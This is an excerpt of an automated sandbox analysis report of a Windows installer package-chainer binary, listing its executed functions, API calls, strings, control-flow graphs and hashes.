28f990 6 API calls __set_se_translator 52886->52891 52888 28a79a 52889 28a79f GetPEB 52888->52889 52890 28a72b 52888->52890 52889->52890 52890->52865 52890->52866 52891->52888

                                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                                  Function 0021A450 Relevance: 32.5, APIs: 12, Strings: 6, Instructions: 1004threadsleepCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • Sleep.KERNEL32(000007D0,?,?,?,?,?,?,?,?,?,?,?,?,002BC772,?,?), ref: 0021AD9E
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 0021AA40
                                                                                                                                                                                                                                                    • Part of subcall function 0027B02E: WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,?,00000000,?,0021B04F,?,00000000,00000000,?,?,?,?,00000000,-00000002), ref: 0027B03A
                                                                                                                                                                                                                                                    • Part of subcall function 0027B02E: GetExitCodeThread.KERNEL32(00000000,00000000,?,00000000,?,0021B04F,?,00000000,00000000,?,?,?,?,00000000,-00000002,?), ref: 0027B053
                                                                                                                                                                                                                                                    • Part of subcall function 0027B02E: CloseHandle.KERNEL32(00000000,?,00000000,?,0021B04F,?,00000000,00000000,?,?,?,?,00000000,-00000002,?,4938EAB5), ref: 0027B065
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: InitializeCriticalSection.KERNEL32(002D8AF4,4938EAB5), ref: 0023828C
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: EnterCriticalSection.KERNEL32(?,4938EAB5), ref: 00238299
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: WriteFile.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382CB
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 002382D4
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: WriteFile.KERNEL32(00000000,?,00000000,?,00000000,002BDB5C,00000001,?,00000000,00240B71,00000000), ref: 00238356
                                                                                                                                                                                                                                                    • Part of subcall function 00238250: FlushFileBuffers.KERNEL32(00000000,?,00000000,00240B71,00000000), ref: 0023835F
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021AE0A
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021AE11
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021AE18
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021AE2E
                                                                                                                                                                                                                                                  • GetCurrentThreadId.KERNEL32 ref: 0021B02E
                                                                                                                                                                                                                                                    • Part of subcall function 00213540: GetProcessHeap.KERNEL32 ref: 00213595
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021B13F
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021B146
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021B14D
                                                                                                                                                                                                                                                  • std::_Throw_Cpp_error.LIBCPMT ref: 0021B154
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Cpp_errorThrow_std::_$File$Thread$BuffersCriticalCurrentFlushSectionWrite$CloseCodeEnterExitHandleHeapInitializeObjectProcessSingleSleepWait
                                                                                                                                                                                                                                                  • String ID: Launch failed. Error:$Launching file:$Return code of launched file:$appx$msix$msixbundle
                                                                                                                                                                                                                                                  • API String ID: 257644201-3912327296
                                                                                                                                                                                                                                                  • Opcode ID: e9d366e9a072c014c73016cfec2160f881b1ba735b54d8c0332cdaddfd82babf
                                                                                                                                                                                                                                                  • Instruction ID: 5b0c88bbfe7c92dc0bf4871edd2980ad169c93fbbebf13fa1f29c52ade0c22eb
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: e9d366e9a072c014c73016cfec2160f881b1ba735b54d8c0332cdaddfd82babf
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7192EF70D11209CFDB20DFA8C845BEDBBF1BF54314F248299E419AB291EB706A95CF91
                                                                                                                                                                                                                                                  Function 002591C0 Relevance: 28.3, APIs: 8, Strings: 8, Instructions: 269libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1088 2591c0-259278 call 2160f0 call 215c10 * 2 call 236b90 1097 2594f4-2594ff call 213200 1088->1097 1098 25927e-25928d 1088->1098 1099 259297-2592aa call 288357 1098->1099 1100 25928f-259292 call 2150e0 1098->1100 1099->1097 1106 2592b0-2592e2 call 215c10 1099->1106 1100->1099 1109 2592e4-2592e7 1106->1109 1110 2592ec-2592f0 1106->1110 1109->1110 1111 2593a4-2593e8 1110->1111 1112 2592f6-2592fd 1110->1112 1113 2593f3-2593ff ShellExecuteExW 1111->1113 1114 2593ea-2593f0 GetForegroundWindow 1111->1114 1115 259300-259306 1112->1115 1116 259426-259449 call 259580 1113->1116 1117 259401-259407 1113->1117 1114->1113 1118 259326-259328 1115->1118 1119 259308-25930b 1115->1119 1131 25946e-25948b call 259500 1116->1131 1132 25944b-259468 GetModuleHandleW GetProcAddress GetProcessId AllowSetForegroundWindow 1116->1132 1121 25940e-259420 ShellExecuteExW 1117->1121 1122 259409-25940c 1117->1122 1120 25932b-25932d 1118->1120 1124 259322-259324 1119->1124 1125 25930d-259315 1119->1125 1126 259365-2593a1 GetWindowsDirectoryW call 228870 * 2 1120->1126 1127 25932f-259334 1120->1127 1121->1116 1122->1116 1122->1121 1124->1120 1125->1118 1129 259317-259320 1125->1129 1126->1111 1130 259336-25933c 1127->1130 1129->1115 1129->1124 1134 25935c-25935e 1130->1134 1135 25933e-259341 1130->1135 1144 259495-2594a6 1131->1144 1145 25948d-259490 1131->1145 1132->1131 1140 259361-259363 1134->1140 1138 259343-25934b 1135->1138 1139 259358-25935a 1135->1139 1138->1134 1143 25934d-259356 1138->1143 1139->1140 1140->1111 1140->1126 1143->1130 1143->1139 1147 2594b0-2594c5 1144->1147 1148 2594a8-2594ab 1144->1148 1145->1144 1149 2594c7-2594ca 1147->1149 1150 2594cf-2594f3 call 27c18f 1147->1150 1148->1147 1149->1150
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetWindowsDirectoryW.KERNEL32(00000010,00000104,?,00000004,00000000,00000000,?), ref: 0025936E
                                                                                                                                                                                                                                                  • GetForegroundWindow.USER32(?,00000004,00000000,00000000,?), ref: 002593EA
                                                                                                                                                                                                                                                  • ShellExecuteExW.SHELL32(?), ref: 002593F7
                                                                                                                                                                                                                                                  • ShellExecuteExW.SHELL32(?), ref: 00259420
                                                                                                                                                                                                                                                  • GetModuleHandleW.KERNEL32(Kernel32.dll,GetProcessId), ref: 00259455
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000), ref: 0025945C
                                                                                                                                                                                                                                                  • GetProcessId.KERNELBASE(?), ref: 00259465
                                                                                                                                                                                                                                                  • AllowSetForegroundWindow.USER32(00000000), ref: 00259468
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ExecuteForegroundShellWindow$AddressAllowDirectoryHandleModuleProcProcessWindows
                                                                                                                                                                                                                                                  • String ID: %s\System32\cmd.exe$.bat$.cmd$/C ""%s" %s"$GetProcessId$Kernel32.dll$open$runas
                                                                                                                                                                                                                                                  • API String ID: 2271306907-986041216
                                                                                                                                                                                                                                                  • Opcode ID: b60fcaa4915f7c893999f93d1ac77b26ceb4df171be4a7e52113142b8b343ae6
                                                                                                                                                                                                                                                  • Instruction ID: f1da361e711ec284b520b1fa3387e66da40473bed1c3ea3af6607c0b2a3b5f0d
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b60fcaa4915f7c893999f93d1ac77b26ceb4df171be4a7e52113142b8b343ae6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1AB1AD70A10249DFDB10DFA8C849BAEBBB5EF19315F1481A9E815EB291EB309958CB50
                                                                                                                                                                                                                                                  Function 00229E30 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 461fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1409 229e30-229eac call 22a950 call 215e60 1414 229eb6-229eea call 233f40 call 215e60 1409->1414 1415 229eae-229eb1 1409->1415 1420 229ef4-229f12 call 215e60 1414->1420 1421 229eec-229eef 1414->1421 1415->1414 1424 229f14-229f19 1420->1424 1425 229f6e-229fa2 call 22aa60 call 214ba0 1420->1425 1421->1420 1426 22a3ca-22a42f call 213200 call 22cd00 1424->1426 1427 229f1f-229f21 1424->1427 1442 229fa4-229fa7 1425->1442 1443 229fac-229fdd call 214ba0 FindFirstFileW 1425->1443 1427->1426 1429 229f27-229f2c 1427->1429 1429->1425 1432 229f2e-229f40 1429->1432 1435 229f42-229f45 call 2150e0 1432->1435 1436 229f4a-229f5d 1432->1436 1435->1436 1436->1426 1441 229f63-229f6a 1436->1441 1441->1425 1442->1443 1447 229fe6-22a025 1443->1447 1448 229fdf-229fe1 1443->1448 1450 22a11b-22a162 call 240600 call 241240 call 22b9c0 call 22bdb0 call 24abc0 1447->1450 1451 22a02b-22a057 CreateFileW 1447->1451 1449 22a385-22a395 1448->1449 1452 22a397-22a39e FindClose 1449->1452 1453 22a3a5-22a3c9 call 27c18f 1449->1453 1484 22a164-22a17f call 215c10 1450->1484 1485 22a1ae-22a278 call 22be80 call 240d70 call 243c40 call 2410c0 call 215e60 call 247010 call 215e60 * 2 call 23cf80 call 237780 call 228870 1450->1485 1454 22a06a-22a08e SetFilePointer 1451->1454 1455 22a059-22a065 1451->1455 1452->1453 1459 22a102-22a10f 1454->1459 1460 22a090-22a0ab call 235420 1454->1460 1458 22a112-22a114 CloseHandle 1455->1458 1458->1450 1459->1450 1463 22a111 1459->1463 1468 22a0bb-22a0ce ReadFile 1460->1468 1469 22a0ad-22a0b8 call 214fe0 1460->1469 1463->1458 1471 22a0d0-22a0d4 1468->1471 1472 22a0e4-22a0f8 1468->1472 1469->1468 1471->1472 1475 22a0d6-22a0e2 call 24b570 1471->1475 1472->1459 1477 22a0fa-22a0fd 1472->1477 1475->1472 1477->1459 1491 22a181-22a191 call 238080 1484->1491 1492 22a196-22a1a4 1484->1492 1514 22a282-22a2ab call 233f40 SetCurrentDirectoryW 1485->1514 1515 22a27a-22a27d 1485->1515 1491->1492 1492->1485 1495 22a1a6-22a1a9 1492->1495 1495->1485 1518 22a2b5-22a2d9 OpenMutexW 1514->1518 1519 22a2ad-22a2b0 1514->1519 1515->1514 1520 22a300-22a30b WaitForSingleObject 1518->1520 1521 22a2db-22a2e4 GetLastError 1518->1521 1519->1518 1522 22a33e-22a351 1520->1522 1523 22a30d-22a320 1520->1523 1524 22a2f3-22a2fe 1521->1524 1525 22a2e6-22a2f1 1521->1525 1527 22a358 1522->1527 1526 22a327-22a333 call 22af50 1523->1526 1524->1527 1525->1526 1532 22a338-22a33c 1526->1532 1531 22a35d-22a382 call 22a480 call 22cd00 1527->1531 1531->1449 1532->1531
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0022A950: GetModuleFileNameW.KERNEL32(00000000,?,00000104,4938EAB5,?,002A0216,000000FF), ref: 0022A9A2
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNELBASE(?,00000000,.ini,00000004,?,?,?,00000000,00000000,?,4938EAB5), ref: 00229FC0
                                                                                                                                                                                                                                                  • CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 0022A03E
                                                                                                                                                                                                                                                  • SetFilePointer.KERNELBASE(00000000,00000002,?,00000000), ref: 0022A085
                                                                                                                                                                                                                                                  • ReadFile.KERNELBASE(00000000,?,?,?,00000000,00000078,?), ref: 0022A0C6
                                                                                                                                                                                                                                                  • CloseHandle.KERNELBASE(00000000), ref: 0022A112
                                                                                                                                                                                                                                                  • SetCurrentDirectoryW.KERNELBASE(00000000), ref: 0022A293
                                                                                                                                                                                                                                                  • OpenMutexW.KERNEL32(00100000,00000000,Global\_MSIExecute), ref: 0022A2C1
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0022A2DB
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(?), ref: 0022A398
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: File$CloseFind$CreateCurrentDirectoryErrorFirstHandleLastModuleMutexNameOpenPointerRead
                                                                                                                                                                                                                                                  • String ID: !$.ini$Global\_MSIExecute
                                                                                                                                                                                                                                                  • API String ID: 2608151938-213348481
                                                                                                                                                                                                                                                  • Opcode ID: 3bfe1aabd62aa0a8649860d510ec29fa435eeae2ea52591c5390685621f69ef4
                                                                                                                                                                                                                                                  • Instruction ID: ea2bd31cf3b6106fc57fa9950a502c8ac4f0dac99ac3e782c82018c4eb320a81
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 3bfe1aabd62aa0a8649860d510ec29fa435eeae2ea52591c5390685621f69ef4
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7712007091061AEFDB10DFA8D848BEEFBF4BF04314F148259E419A7291DBB49A58CF91
                                                                                                                                                                                                                                                  Function 002323D0 Relevance: 16.6, APIs: 11, Instructions: 117memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1745 2323d0-23242d GetCurrentProcess OpenProcessToken 1747 23242f-232437 GetLastError 1745->1747 1748 23243c-23245d GetTokenInformation 1745->1748 1749 2324fa-23250d 1747->1749 1750 23248b-23248f 1748->1750 1751 23245f-232468 GetLastError 1748->1751 1754 23250f-232516 CloseHandle 1749->1754 1755 23251d-232539 call 27c18f 1749->1755 1752 232491-2324c0 AllocateAndInitializeSid 1750->1752 1753 2324de GetLastError 1750->1753 1751->1753 1756 23246a-232489 call 232540 GetTokenInformation 1751->1756 1757 2324c2-2324dc EqualSid FreeSid 1752->1757 1758 2324e4 1752->1758 1753->1758 1754->1755 1756->1750 1756->1753 1762 2324e6-2324f3 call 27c85e 1757->1762 1758->1762 1762->1749
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetCurrentProcess.KERNEL32 ref: 00232418
                                                                                                                                                                                                                                                  • OpenProcessToken.ADVAPI32(00000000,00000008,00000000), ref: 00232425
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0023242F
                                                                                                                                                                                                                                                  • GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),00000000,00000000,002A1895), ref: 00232459
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0023245F
                                                                                                                                                                                                                                                  • GetTokenInformation.KERNELBASE(00000000,00000001(TokenIntegrityLevel),002A1895,002A1895,002A1895,002A1895), ref: 00232485
                                                                                                                                                                                                                                                  • AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000012,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 002324B8
                                                                                                                                                                                                                                                  • EqualSid.ADVAPI32(00000000,?), ref: 002324C7
                                                                                                                                                                                                                                                  • FreeSid.ADVAPI32(?), ref: 002324D6
                                                                                                                                                                                                                                                  • CloseHandle.KERNELBASE(00000000), ref: 00232510
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Token$ErrorInformationLastProcess$AllocateCloseCurrentEqualFreeHandleInitializeOpen
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 695978879-0
                                                                                                                                                                                                                                                  • Opcode ID: 408f35b11de50bdc924b2d4c57d2f541706050bf531b1587a0a17dd6c0f91854
                                                                                                                                                                                                                                                  • Instruction ID: ea46ee02daa564681a6222e7f11a4f167c0a5d53bd2a93985f794feba184f65c
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 408f35b11de50bdc924b2d4c57d2f541706050bf531b1587a0a17dd6c0f91854
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B6411AB1D11219EBEF10DFA4DD49BEEBBB8FF08710F544016E511B2290EB799918CBA4
                                                                                                                                                                                                                                                  Function 00237530 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85libraryloaderCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule

                                                                                                                                                                                                                                                  Control-flow Graph

                                                                                                                                                                                                                                                  • Executed
                                                                                                                                                                                                                                                  • Not Executed
                                                                                                                                                                                                                                                  control_flow_graph 1941 237530-237589 LoadLibraryW 1942 2375b4-2375f9 GetSystemMetrics * 2 LoadImageW 1941->1942 1943 23758b-237599 GetProcAddress 1941->1943 1945 2375fc-23760c 1942->1945 1943->1942 1944 23759b-2375a8 1943->1944 1948 2375ab-2375ad 1944->1948 1946 23760e-237615 FreeLibrary 1945->1946 1947 23761c-23762f 1945->1947 1946->1947 1948->1942 1949 2375af-2375b2 1948->1949 1949->1945
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • LoadLibraryW.KERNEL32(ComCtl32.dll,4938EAB5,?,00000008,00000008), ref: 0023756E
                                                                                                                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00237591
                                                                                                                                                                                                                                                  • GetSystemMetrics.USER32(0000000C), ref: 002375CC
                                                                                                                                                                                                                                                  • GetSystemMetrics.USER32(0000000B), ref: 002375E2
                                                                                                                                                                                                                                                  • LoadImageW.USER32(?,?,00000001,00000000,00000000,?), ref: 002375F1
                                                                                                                                                                                                                                                  • FreeLibrary.KERNEL32(00000000), ref: 0023760F
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: LibraryLoadMetricsSystem$AddressFreeImageProc
                                                                                                                                                                                                                                                  • String ID: ComCtl32.dll$LoadIconMetric
                                                                                                                                                                                                                                                  • API String ID: 1983857168-764666640
                                                                                                                                                                                                                                                  • Opcode ID: c5b045fa6f5df07d635a79e88650d87b3e34c50d9f6bc5dc335186e36e41f851
                                                                                                                                                                                                                                                  • Instruction ID: 12d7f60f46fe2a777bb37cc33d3dad18775548e66c0d90525eae2c94d9d59be4
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c5b045fa6f5df07d635a79e88650d87b3e34c50d9f6bc5dc335186e36e41f851
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: C63184B1A14255ABDF248F95DC48BAFBFF8EB49750F000169F915A3280D7B49901CBA0
                                                                                                                                                                                                                                                  Function 0021B3F0 Relevance: 8.2, Strings: 6, Instructions: 714COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FindHeapProcessResource
                                                                                                                                                                                                                                                  • String ID: /i $"%s" $.msi$[SystemFolder]$\\?\$msiexec.exe
                                                                                                                                                                                                                                                  • API String ID: 3983090888-222735069
                                                                                                                                                                                                                                                  • Opcode ID: eb6dd0f428dbda4a300239e5c63dc77ade79767c255d34d24a59cb3d3749a218
                                                                                                                                                                                                                                                  • Instruction ID: b360afd6388493fc89c5304ea922dd6fd980fc958f2299c6c919628d58ab2599
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: eb6dd0f428dbda4a300239e5c63dc77ade79767c255d34d24a59cb3d3749a218
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3152FE31D21259CBEB15DFA8CC54BEDB7F5AF64304F148298E405AB291DB309E95CF90
                                                                                                                                                                                                                                                  Function 0022BF60 Relevance: 7.7, APIs: 5, Instructions: 238fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • DeleteFileW.KERNELBASE(?,4938EAB5,?,?,?,?,?,?,?,?,?,002A0846,000000FF), ref: 0022BFD7
                                                                                                                                                                                                                                                    • Part of subcall function 00233F40: _wcsrchr.LIBVCRUNTIME ref: 00233F79
                                                                                                                                                                                                                                                    • Part of subcall function 00234610: _wcsrchr.LIBVCRUNTIME ref: 002346D1
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,?,002A0846,000000FF), ref: 0022C14F
                                                                                                                                                                                                                                                  • FindNextFileW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,?,002A0846,000000FF), ref: 0022C187
                                                                                                                                                                                                                                                  • FindClose.KERNELBASE(?,?,?,?,?,?,?,?,?,?,002A0846,000000FF), ref: 0022C192
                                                                                                                                                                                                                                                  • PathIsDirectoryW.SHLWAPI(00000000), ref: 0022C1C5
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: FileFind$_wcsrchr$CloseDeleteDirectoryFirstNextPath
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 1628590722-0
                                                                                                                                                                                                                                                  • Opcode ID: 428ff4413e9d8c23b5c0c588d0325b338e40b068512a0d350f0b3c2c0e8ed719
                                                                                                                                                                                                                                                  • Instruction ID: dc188846861293763881ec083a26be94e35daa46239de66d700c01bb1dae3b9f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 428ff4413e9d8c23b5c0c588d0325b338e40b068512a0d350f0b3c2c0e8ed719
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EC91CF71910616DBDB14DFB8DC457EEF7B4BF09320F204229E829A7281DB74AA658F90
                                                                                                                                                                                                                                                  Function 002416D0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 217fileCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 002419A0: GetModuleHandleW.KERNEL32(kernel32,IsWow64Process2,?,?,?,?,00000000), ref: 00241B03
                                                                                                                                                                                                                                                    • Part of subcall function 002419A0: GetProcAddress.KERNEL32(00000000), ref: 00241B0A
                                                                                                                                                                                                                                                  • FindFirstFileW.KERNEL32(?,?,?,00000001), ref: 00241802
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 00241830
                                                                                                                                                                                                                                                  • FindClose.KERNEL32(00000000), ref: 002418B9
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
